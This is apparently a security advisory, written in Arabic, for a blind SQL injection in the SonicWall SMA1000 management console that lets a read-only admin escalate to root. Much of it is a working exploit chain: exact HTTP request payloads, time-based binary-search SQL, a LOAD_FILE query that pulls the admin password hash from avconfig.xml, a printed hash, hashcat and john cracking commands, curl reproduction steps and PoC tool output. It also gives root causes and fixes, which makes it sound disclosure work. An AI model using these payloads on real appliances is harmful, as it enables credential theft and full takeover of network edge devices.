
تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL ("حقن SQL") في أجهزة سلسلة SonicWall SMA1000 يسمح لمهاجم مصادق عن بُعد بصلاحيات مسؤول للقراءة فقط بتصعيد الصلاحيات إلى مسؤول أساسي.
ثغرة حقن SQL أعمى بعد المصادقة في وحدة تحكم إدارة SonicWall SMA 8200v (المنفذ 8443) تسمح لأي مسؤول مصادق — بما في ذلك الحسابات منخفضة الامتياز للقراءة فقط — باستخراج تجزئة كلمة مرور SHA-512 للمسؤول الرئيسي من ملف تكوين الجهاز. نظرًا لأن SonicWall يستخدم نفس بيانات الاعتماد لكل من مسؤول وحدة تحكم الإدارة وحساب الجذر لنظام التشغيل، فإن كسر هذه التجزئة يمنح وصولًا كاملًا على مستوى الجذر إلى الجهاز.
التصنيف: تصعيد الامتيازات (من مسؤول منخفض الامتياز إلى الجذر) CVSS 3.1: 7.2 (عالٍ) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H تعقيد الهجوم: منخفض (يكمل PoC الآلي الاستخراج في حوالي 60-90 دقيقة) المتطلبات المسبقة: أي بيانات اعتماد صالحة لوحدة تحكم الإدارة (بما في ذلك حسابات القراءة فقط)
تقوم وحدة تحكم الإدارة ببناء استعلامات SQL للوحة المستخدمين النشطين باستخدام طريقة مساعدة safeParam() في الفئة com.aventail.mgmt.sql.Sql. تقوم هذه الطريقة بإفلات علامات الاقتباس المفردة (') والاقتباسات المزدوجة (") بمضاعفتها، لكنها لا تقوم بإفلات أحرف الخط المائل العكسي (\).
في MySQL/MariaDB، الخط المائل العكسي هو حرف الإفلات الافتراضي داخل السلاسل النصية. التسلسل \' يجعل قاعدة البيانات تفسر علامة الاقتباس المفردة كحرف حرفي بدلاً من إنهاء السلسلة. هذا يعني أن الخط المائل العكسي في نهاية قيمة المعامل سيقوم بإفلات علامة الاقتباس الختامية التي يضيفها التطبيق، مما يتسبب في امتداد السلسلة النصية في SQL إلى الصياغة المجاورة.
فجوة التعقيم:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
يتم استهلاك علامة الإقفال `'` بعد `test\` كحرف اقتباس حرفي داخل السلسلة، لذا يمتد حرف السلسلة النصية SQL عبر الحدود `) AND (ct.name='` وإلى قيمة المعامل التالي، حيث يمكن حقن SQL يتحكم فيه المهاجم.
### 3.2 آلية الحقن: تقنية عبر المعاملات
يقبل نقطة النهاية `activeUsers.action` معاملات تصفية متعددة يتم إدراجها في جملة WHERE واحدة في SQL. المعاملات ذات الصلة هي `realmFilter` و`communityFilter`، والتي تظهر في استعلام منظم تقريبًا على النحو التالي:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
إعداد معامل الهجوم:
| المعامل | القيمة | الغرض |
|---|---|---|
realmFilter | test\ | الشرطة المائلة للخلف في النهاية تهرب علامة الاقتباس الختامية، مما يمدد السلسلة الحرفية عبر حدود AND |
communityFilter | )) OR (SELECT IF(<condition>,SLEEP(N),0))-- x | يغلق الأقواس المفتوحة، ويحقن SLEEP الشرطي، ويعلّق على ما تبقى |
SQL الناتج بعد الاستيفاء:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
بتقسيم هذا:
1. `rt.name='test\')` — الرمز `\` يهرب علامة `'`، لذا لا تُغلق السلسلة هنا
2. `AND (ct.name='` — يصبح جزءًا من قيمة السلسلة (نص حرفي)
3. تُغلق السلسلة أخيرًا عند علامة `'` التالية (من بداية `communityFilter`)
4. `))` — يُغلق القوسين المفتوحين من بنية جملة WHERE
5. `OR (SELECT IF(...))` — يحقن شرط SQL الأعمى القائم على الزمن
6. `-- x` — يعلّق على باقي استعلام SQL (`')` والبنود الأخرى)
### 3.3 الاستخراج الأعمى القائم على الزمن
نظرًا لأن معالجة أخطاء تطبيق Struts 2 تلتقط استثناءات SQL بشكل سلس (تعيد دائمًا HTTP 200 مع نفس محتوى الصفحة بغض النظر عن نجاح الاستعلام أو فشله)، فإن طرق الاستخراج القائمة على الأخطاء أو UNION ليست مجدية. يتم استغلال الحقن باستخدام تقنية الأعمى القائم على الزمن:
- **الشرط TRUE:** `IF(<condition>, SLEEP(N), 0)` — يتأخر الاستجابة بمدة SLEEP مضروبة في عدد صفوف مجموعة النتائج
- **الشرط FALSE:** لا يوجد SLEEP — تعود الاستجابة خلال ~200-500ms
تنفذ دالة SLEEP لكل صف في تقييم جملة WHERE. مع جدول مراقبة نموذجي يحتوي على 30-300+ صفًا، حتى قيمة SLEEP صغيرة (مثل 0.3 ثانية) تنتج تأخيرًا واضحًا يمكن تمييزه (10-100 ثانية للشرط TRUE مقابل <1 ثانية للشرط FALSE).
يتم استخراج كل حرف من البيانات المستهدفة عبر بحث ثنائي على نطاق ASCII:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
يتطلب هذا حدًا أقصى يبلغ 7 طلبات لكل حرف (log2(128) = 7)، مما ينتج عنه ~686 طلبًا إجماليًا لتجزئة SHA-512 مكونة من 98 حرفًا.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 الخطوة 1: المصادقة
تدعم وحدة تحكم إدارة SMA نطاقين للمصادقة:
| معرف النطاق | الاسم المعروض | المستخدمون |
|----------|-------------|-------|
| *(فارغ)* | وحدة تحكم الإدارة | حساب المسؤول الأساسي فقط |
| `AMCAuthRealm` / `المصادقة المحلية` | المصادقة المحلية | حسابات المسؤول الثانوية (للقراءة فقط، مخصصة) |
يتطلب الهجوم فقط بيانات اعتماد صالحة لأي حساب لديه صلاحية الوصول إلى وحدة تحكم الإدارة. حساب "للقراءة فقط" — المخصص للوصول للمراقبة فقط دون أي قدرة على تغيير الإعدادات — كافٍ.
تتم المصادقة عبر مصادقة قائمة على نموذج J2EE:
1. `GET /console.action` — استرجاع صفحة تسجيل الدخول، واستخراج رمز CSRF من حقل النموذج المخفي
2. `POST /j_security_check` — إرسال `csrfToken` و`j_username` و`j_password` و`realmId`
3. إعادة توجيه HTTP 303 عند النجاح، مع إنشاء ملف تعريف ارتباط `JSESSIONID`
### 4.3 الخطوة 2: حقن SQL
بعد المصادقة، يرسل المهاجم طلب POST إلى `/activeUsers.action` مع حقن المعاملات المتقاطعة:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
IF(1=1, SLEEP(0.3), 0) غير المشروط يتحقق من أن الحقن يعمل من خلال ملاحظة تأخير قابل للقياس في استجابة HTTP.
تعمل قاعدة بيانات MariaDB تحت مستخدم نظام التشغيل DbAdmin (uid=1001, gid=500 aventail). يمتلك مستخدم قاعدة البيانات هذا ALL PRIVILEGES ON *.* WITH GRANT OPTION، بما في ذلك صلاحية FILE المطلوبة لـ LOAD_FILE().
اكتشاف حاسم: على الرغم من إعداد تكوين MariaDB secure_file_priv = NULL (الذي يمنع عمليات الكتابة INTO OUTFILE و INTO DUMPFILE)، تظل وظيفة LOAD_FILE() لـ قراءة الملفات تعمل بكامل طاقتها. هذا سلوك موثق لكنه غير مفهوم جيدًا في MariaDB — secure_file_priv=NULL يقيد مسارات كتابة الملفات لكنه لا يعطل قراءة الملفات عندما يمتلك المستخدم صلاحية FILE.
ملف التكوين الهدف /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml مملوك لـ mgmt-server:aventail بصلاحيات 664 (rw-rw-r--). نظرًا لأن مستخدم نظام التشغيل DbAdmin ضمن مجموعة aventail، يمكن لـ LOAD_FILE() قراءة هذا الملف.
التحقق عبر SQLi أعمى:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable
### 4.5 الخطوة 4: تحديد موقع تجزئة المسؤول في ملف avconfig.xml
ملف `avconfig.xml` (بحجم ~98KB) هو مخزن التكوين الرئيسي للجهاز. يحتوي على جميع بيانات اعتماد المستخدمين بصيغة SHA-512 crypt داخل عناصر XML الخاصة بـ `<password>`. تقع تجزئة المسؤول الأساسية في كتلة `<credentials_item>` بالقرب من عنصر `<consoleMode>` الفريد لقسم المسؤول.
بدلاً من الاعتماد على إزاحات بايت ثابتة (والتي قد تتعطل إذا تغيّر التكوين فوق قسم المسؤول)، يستخدم الاستخراج دوال سلاسل MySQL لتحديد موقع التجزئة ديناميكيًا:```sql
SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE(<path>),
LOCATE('<password>', LOAD_FILE(<path>),
LOCATE('consoleMode', LOAD_FILE(<path>))
) + 10, -- skip past '<password>' tag (10 chars)
120 -- max SHA-512 crypt length
),
'<', -- trim at '</password>' closing tag
1
)
المنطق:
LOCATE('consoleMode', file) — يجد إزاحة البايت لسلسلة consoleMode، مع التثبيت على قسم إعدادات المسؤولLOCATE('<password>', file, anchor_offset) — يجد أول وسم <password> بعد ذلك المرساةSUBSTRING(file, tag_offset + 10, 120) — يستخرج قيمة التجزئة (متجاوزًا وسم <password> المكوّن من 10 أحرف)SUBSTRING_INDEX(result, '<', 1) — يقصّ عند وسم الإغلاق </password>هذا الأسلوب مستقل عن الموضع ومقاوم للتغييرات في الإعدادات في أي مكان آخر في الملف. يتم ترميز التعبير بالكامل باستخدام القيم السداسية العشرية لـ MySQL (0x...) لتجنب مشكلات الاقتباس داخل سياق الحقن.
يتم استخراج كل حرف من التجزئة عبر البحث الثنائي:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),
, 1)) > , SLEEP(0.3), 0)
البحث الثنائي يضيّق نطاق ASCII [0, 127] إلى النصف مع كل طلب:
| الخطوة | النطاق | الاختبار | النتيجة |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | TRUE → [64, 127] |
| 2 | [64, 127] | > 95? | FALSE → [64, 95] |
| 3 | [64, 95] | > 79? | FALSE → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | تقارب | الحرف = chr(n) |
بالنسبة لتجزئة المشرف المعروفة (`$6$WHTK8ybQ$MchVNW...`)، يتطلب استخراج جميع الأحرف الـ 98 حوالي 686 طلب HTTP.
### 4.7 الخطوة 6: كسر التجزئة
التجزئة المستخرجة تكون بصيغة SHA-512 crypt القياسية:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| الحقل | القيمة |
|---|---|
| الخوارزمية |
hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
### 4.8 الخطوة 7: الاختراق الكامل
تستخدم بنية SonicWall SMA كلمة مرور مسؤول لوحة الإدارة ككلمة مرور الجذر لنظام التشغيل. هذا قرار تصميمي — عندما يتم تعيين كلمة مرور المسؤول أو تغييرها عبر لوحة الإدارة، يتم تطبيقها على كل من الواجهة الإلكترونية وحساب الجذر في نظام Linux الأساسي. لذلك، فإن كسر تجزئة المسؤول يوفر:
- **لوحة الإدارة (المنفذ 8443):** وصول إداري كامل لجميع الإعدادات والسياسات وإدارة المستخدمين والمراقبة
- **SSH (المنفذ 22):** وصول قشرة الجذر إلى نظام تشغيل Debian Linux الأساسي
- **وحدة التحكم التسلسلية:** تسجيل دخول الجذر للوصول المادي/خارج النطاق
---
## 5. العوامل المساهمة
تتضافر قرارات معمارية متعددة لجعل هذه الثغرة قابلة للاستغلال:
### 5.1 تعقيم SQL غير مكتمل
تقوم طريقة `safeParam()` في `com.aventail.mgmt.sql.Sql` بإفلات علامات الاقتباس ولكن ليس الخطوط المائلة العكسية. هذه فئة معروفة من حقن SQL — سلوك إفلات الخطوط المائلة العكسية في MySQL موثق كمخاوف أمنية منذ أوائل العقد الأول من القرن الحادي والعشرين. الإصلاح بسيط: إما إفلات الخطوط المائلة العكسية (`\` → `\\`)، أو تعيين وضع SQL `NO_BACKSLASH_ESCAPES`، أو استخدام استعلامات معلمة.
### 5.2 مستخدم قاعدة بيانات بصلاحيات مفرطة
يعمل مستخدم MariaDB `DbAdmin` بصلاحيات `ALL PRIVILEGES ON *.* WITH GRANT OPTION`. يمنح هذا قدرات تتجاوز بكثير ما يتطلبه التطبيق، بما في ذلك:
- صلاحية `FILE` (LOAD_FILE, INTO OUTFILE)
- صلاحية `SUPER`
- `GRANT OPTION` (يمكنه إنشاء حسابات مستخدمين فائقة جديدة)
يحتاج التطبيق فقط إلى SELECT/INSERT/UPDATE/DELETE على قواعده الخاصة. الصلاحيات المفرطة تحول حقن SQL من استخراج البيانات إلى قراءة/كتابة ملفات عشوائية.
### 5.3 سوء تكوين secure_file_priv
بينما يمنع `secure_file_priv = NULL` عمليات **كتابة** الملفات (`INTO OUTFILE`, `INTO DUMPFILE`)، فإنه **لا** يمنع عمليات **قراءة** الملفات (`LOAD_FILE()`). هذا سلوك موثق في MariaDB وغالبًا ما يساء فهمه. غالبًا ما يفترض المسؤولون والمطورون أن `secure_file_priv = NULL` يعطل جميع عمليات إدخال/إخراج الملفات، لكنه يقيد مسار الكتابة فقط.
لتعطيل `LOAD_FILE()` بالكامل، يجب سحب صلاحية `FILE` من مستخدم قاعدة البيانات:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';
ملف avconfig.xml الذي يحتوي على جميع تجزئات كلمات المرور مملوك للمستخدم mgmt-server:aventail بوضع 664. مجموعة aventail تتضمن مستخدم نظام التشغيل DbAdmin (الذي يعمل تحته MariaDB). هذا يعني أن عملية قاعدة البيانات يمكنها قراءة ملف التكوين الرئيسي للجهاز، بما في ذلك جميع بيانات الاعتماد المخزنة.
نموذج أذونات أكثر تقييدًا (على سبيل المثال، وضع 600 مملوك لـ mgmt-server:mgmt-server، أو تخزين التجزئات في ملف أسرار مخصص لا يمكن قراءته إلا من خلال تطبيق الإدارة) سيمنع LOAD_FILE() من الوصول إلى التجزئات حتى مع امتياز FILE.
قرار التصميم باستخدام نفس كلمة المرور لمشرف وحدة التحكم الإدارية وحساب الجذر لنظام التشغيل يعني أن استخراج تجزئة المشرف من طبقة التطبيق يؤدي مباشرة إلى الوصول الجذري لنظام التشغيل. هذا يلغي أي حدود بين طبقة تطبيق الويب ونظام التشغيل الأساسي.
دور "readonly" في وحدة التحكم الإدارية مصمم لتوفير وصول للمراقبة فقط دون القدرة على تغيير التكوين. ومع ذلك، فإن نقطة النهاية activeUsers.action تعالج معلمات التصفية بشكل متطابق لجميع المستخدمين المصادق عليهم، بغض النظر عن الدور. يمكن لحساب القراءة فقط تنفيذ نفس حقن SQL الذي ينفذه المشرف الأساسي، لأن الثغرة تكمن في مسار استرجاع البيانات (سرد/تصفية المستخدمين النشطين)، وليس في مسار تغيير التكوين.
تم تطوير أداة استغلال آلية بالكامل والتحقق من صحتها ضد الهدف المباشر.
الاستخدام (حساب القراءة فقط — إثبات تصعيد الامتيازات):```bash
python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v
**مراحل التنفيذ:**
1. **المرحلة 1: المصادقة** — تسجيل الدخول باستخدام بيانات الاعتماد والنطاق المحددين، والحصول على JSESSIONID
2. **المرحلة 2: التحقق** — التأكد من أن SQLi يعمل (توقيت SLEEP)، وأن LOAD_FILE يمكنه قراءة avconfig.xml، وأن مرساة تجزئة المسؤول موجودة
3. **المرحلة 3: الاستخراج** — البحث الثنائي يستخرج تجزئة SHA-512 الكاملة حرفًا بحرف
4. **المرحلة 4: الإخراج** — كتابة التجزئة بصيغة جاهزة لـ hashcat وطباعة أوامر الكسر
**المخرجات الملاحظة:**```
[*] Target: 10.10.10.35:8443
[*] User: readonly
[*] Realm: Local Authentication
[*] Phase 1: Authenticating to admin console...
[+] Authentication successful
[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml
[*] Phase 3: Extracting admin password hash...
Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...
يمكن أيضًا التحقق من الحقن يدويًا دون أداة PoC:```bash
curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken
curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"
time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
### 6.3 التحقق المباشر من SQL عبر MySQL CLI
مع وصول SSH بصلاحيات الجذر، يمكن التحقق من تعبير استخراج SQL مباشرةً:```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248
-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('<password>',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('consoleMode',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
)
) + 10,
120
),
'<',
1
) AS admin_hash;
-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| الأثر | الوصف |
|---|---|
| السرية | وصول كامل للقراءة إلى جميع الملفات القابلة للقراءة من قبل مجموعة aventail، بما في ذلك ملفات التكوين وبيانات الاعتماد والشهادات والمفاتيح |
| السلامة |
السيناريو 1: التهديد الداخلي / انتهاك مبدأ الامتياز الأقل مسؤول للقراءة فقط (محلل SOC، مدقق، مهندس مبتدئ) لديه وصول مشروع للمراقبة يرتقي إلى صلاحيات إدارية كاملة/جذرية، متجاوزًا جميع ضوابط الوصول القائمة على الأدوار.
السيناريو 2: تصعيد اختراق بيانات الاعتماد مهاجم يحصل على أي بيانات اعتماد لوحدة تحكم الإدارة (تصيد، حشو بيانات الاعتماد، كلمات مرور افتراضية) يمكنه الارتقاء إلى صلاحيات جذرية (root) بغض النظر عن مستوى الامتياز المقصود للحساب المخترق.
السيناريو 3: التنقل عبر الشبكة الوصول الجذري إلى جهاز SMA يوفر موطئ قدم دائم على حافة الشبكة. يمكن للمهاجم اعتراض حركة مرور VPN، وتعديل التوجيه، والوصول إلى قطاعات الشبكة الداخلية، واستخراج جميع بيانات اعتماد مستخدمي VPN من التكوين.
الاستعلامات المعلمة (Parameterized Queries): استبدال استيفاء السلاسل النصية في safeParam() بجمل مُعدّة (prepared statements) / استعلامات معلمة في جميع أنحاء طبقة SQL الخاصة بوحدة تحكم الإدارة. هذا يلغي حقن SQL بغض النظر عن تهريب الأحرف.
إلغاء امتياز FILE: إزالة امتياز FILE من مستخدم قاعدة البيانات DbAdmin: ```sql
REVOKE FILE ON . FROM 'DbAdmin'@'localhost';
FLUSH PRIVILEGES;
تقييد صلاحيات قاعدة البيانات: طبّق مبدأ الامتياز الأقل على DbAdmin — امنح فقط SELECT, INSERT, UPDATE, DELETE على قواعد البيانات المحددة التي يتطلبها التطبيق (monitoring, scheduler, troubleshooting).
تقييد صلاحيات avconfig.xml: غيّر ملكية الملف والصلاحيات لمنع مستخدم قاعدة البيانات من قراءة الإعدادات: ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
فصل بيانات اعتماد المسؤول والجذر: افصل كلمة مرور مسؤول لوحة الإدارة عن كلمة مرور جذر نظام التشغيل. استخدم بيانات اعتماد متميزة مع آليات تغيير/تدوير مستقلة.
الوصول إلى نقاط النهاية القائم على الأدوار: قيّد نقطة النهاية activeUsers.action (وجميع نقاط النهاية الأخرى لاستعلام البيانات) بناءً على دور المستخدم في طبقة التطبيق، وليس فقط على مستوى الواجهة/القائمة.
تقوية وضع SQL: عيّن NO_BACKSLASH_ESCAPES في إعدادات MariaDB لتعطيل تفسير شرطة مائلة عكسية للهروب على مستوى النظام: ```ini
[mysqld]
sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES
فصل تخزين التجزئات (Hashes): قم بتخزين تجزئات كلمات المرور في ملف مخصص أو جدول قاعدة بيانات لا يمكن الوصول إليه من قبل مستخدم قاعدة البيانات العام للتطبيق، بدلاً من تخزينها في ملف إعدادات XML الرئيسي.
LOAD_FILE() صلاحية FILE؛ حيث يقيّد secure_file_priv عبارة SELECT ... INTO ولكنه لا يقيّد LOAD_FILE()NO_BACKSLASH_ESCAPES، يتم التعامل مع \ كحرف هروب في السلاسل النصية$6$، عدد جولات قابل للتهيئة (الافتراضي 5000)، ومخرجات تجزئة Base64 بطول 86 حرفًا$6$)| المكوّن | التفاصيل |
|---|
| المنصة | SonicWall SMA 8200v (جهاز افتراضي) |
| البرنامج الثابت | 12.5.0-02283 (مؤكد)؛ على الأرجح جميع إصدارات 12.x |
| الخدمة | وحدة تحكم الإدارة — Jetty + Struts 2 (المنفذ 8443) |
| نقطة النهاية | POST /activeUsers.action |
| المعاملات القابلة للاستغلال | realmFilter, communityFilter (معاملات متقاطعة) |
| فئة السبب الجذري | com.aventail.mgmt.sql.Sql.safeParam() |
| قاعدة البيانات | MariaDB 10.11.14، المستخدم DbAdmin (جميع الامتيازات + FILE) |
| الملف المستهدف | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
$6$ — تشفير SHA-512 crypt |
| الملح (Salt) | WHTK8ybQ |
| الجولات (Rounds) | 5000 (افتراضي، غير محدد) |
| وضع Hashcat | 1800 |
| صيغة John | sha512crypt |
| بعد كسر التجزئة: الوصول الكامل إلى وحدة تحكم الإدارة يتيح إجراء تغييرات تعسفية على التكوين وتعديلات على السياسات وإدارة المستخدمين |
| التوفر | الوصول الجذري (root) يتيح تعطيل الخدمات أو تدمير البيانات أو تعطيل الجهاز بشكل دائم |
| التاريخ | الحدث |
|---|
| 2026-02-24 | تم تحديد ثغرة SQLi عبر المعاملات (Cross-parameter) من خلال التحليل الثابت لـ safeParam() |
| 2026-02-24 | تم تأكيد ثغرة SQLi العمياء (Blind SQLi) باستخدام جلسة مسؤول (توقيت SLEEP) |
| 2026-02-25 | تم تأكيد ثغرة SQLi باستخدام حساب للقراءة فقط (ناقل تصعيد الامتيازات) |
| 2026-02-25 | تم تأكيد عمل LOAD_FILE() على الرغم من secure_file_priv=NULL |
| 2026-02-25 | تم تحديد avconfig.xml كمخزن للبيانات الاعتمادية يحتوي على تجزئة admin/root |
| 2026-02-25 | تم التحقق من صحة تعبير الاستخراج عبر SQL باستخدام MySQL CLI |
| 2026-02-25 | تم تأكيد الاستخراج الآلي الكامل باستخدام أداة PoC (sma_admin_hash_poc.py) |
| 2026-02-25 | تم التحقق من سلسلة تصعيد الامتيازات: للقراءة فقط -> تجزئة admin/root |